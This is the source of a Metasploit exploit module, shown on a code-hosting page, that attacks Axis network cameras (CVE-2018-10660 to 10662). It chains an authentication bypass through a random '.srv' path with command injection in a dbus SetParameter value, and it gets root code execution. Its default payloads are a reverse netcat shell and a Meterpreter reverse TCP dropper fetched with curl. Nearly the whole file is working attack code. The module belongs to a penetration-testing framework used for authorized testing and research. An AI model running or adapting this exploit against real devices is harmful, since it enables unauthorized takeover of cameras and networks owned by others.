Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/http/axis_srv_parhand_rce.rb
32490 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
Rank = ExcellentRanking
9
10
include Msf::Exploit::Remote::HttpClient
11
include Msf::Exploit::CmdStager
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Axis Network Camera .srv-to-parhand RCE',
18
'Description' => %q{
19
This module exploits an auth bypass in .srv functionality and a
20
command injection in parhand to execute code as the root user.
21
},
22
'Author' => [
23
'Or Peles', # Vulnerability discovery (VDOO)
24
'wvu', # Metasploit module
25
'sinn3r', # Metasploit module
26
'Brent Cook', # Metasploit module
27
'Jacob Robles', # Metasploit module
28
'Matthew Kienow', # Metasploit module
29
'Shelby Pace', # Metasploit module
30
'Chris Lee', # Metasploit module
31
'Cale Black' # Metasploit module
32
],
33
'References' => [
34
['CVE', '2018-10660'],
35
['CVE', '2018-10661'],
36
['CVE', '2018-10662'],
37
['URL', 'https://blog.vdoo.com/2018/06/18/vdoo-discovers-significant-vulnerabilities-in-axis-cameras/'],
38
['URL', 'https://www.axis.com/files/faq/Advisory_ACV-128401.pdf']
39
],
40
'DisclosureDate' => '2018-06-18',
41
'License' => MSF_LICENSE,
42
'Privileged' => true,
43
'Targets' => [
44
[
45
'Unix In-Memory',
46
{
47
'Platform' => 'unix',
48
'Arch' => ARCH_CMD,
49
'Type' => :unix_memory,
50
'Payload' => {
51
'BadChars' => ' ',
52
'Encoder' => 'cmd/ifs',
53
'Compat' => {
54
'PayloadType' => 'cmd',
55
'RequiredCmd' => 'netcat-e'
56
}
57
},
58
'DefaultOptions' => {
59
'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'
60
}
61
}
62
],
63
[
64
'Linux Dropper',
65
{
66
'Platform' => 'linux',
67
'Arch' => ARCH_ARMLE,
68
'Type' => :linux_dropper,
69
'DefaultOptions' => {
70
'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'
71
}
72
}
73
]
74
],
75
'DefaultTarget' => 1,
76
'DefaultOptions' => { 'WfsDelay' => 10 },
77
'Notes' => {
78
'Reliability' => UNKNOWN_RELIABILITY,
79
'Stability' => UNKNOWN_STABILITY,
80
'SideEffects' => UNKNOWN_SIDE_EFFECTS
81
}
82
)
83
)
84
end
85
86
def check
87
res = send_request_cgi(
88
'method' => 'GET',
89
'uri' => "/index.html/#{rand_srv}"
90
)
91
92
if res && res.code == 204
93
return CheckCode::Appears
94
end
95
96
CheckCode::Safe
97
end
98
99
def exploit
100
case target['Type']
101
when :unix_memory
102
execute_command(payload.encoded)
103
when :linux_dropper
104
execute_cmdstager(flavor: :curl, nospace: true)
105
end
106
end
107
108
def execute_command(cmd, _opts = {})
109
send_request_cgi(
110
'method' => 'POST',
111
'uri' => "/index.html/#{rand_srv}",
112
'vars_post' => {
113
'action' => 'dbus',
114
'args' => dbus_send(
115
method: :set_param,
116
param: "string:root.Time.DST.Enabled string:;(#{cmd})&"
117
)
118
}
119
)
120
121
send_request_cgi(
122
'method' => 'POST',
123
'uri' => "/index.html/#{rand_srv}",
124
'vars_post' => {
125
'action' => 'dbus',
126
'args' => dbus_send(method: :synch_params)
127
}
128
)
129
end
130
131
def dbus_send(method:, param: nil)
132
args = '--system --dest=com.axis.PolicyKitParhand ' \
133
'--type=method_call /com/axis/PolicyKitParhand '
134
135
args <<
136
case method
137
when :set_param
138
"com.axis.PolicyKitParhand.SetParameter #{param}"
139
when :synch_params
140
'com.axis.PolicyKitParhand.SynchParameters'
141
end
142
143
args
144
end
145
146
def rand_srv
147
"#{Rex::Text.rand_text_alphanumeric(8..42)}.srv"
148
end
149
150
end
151
152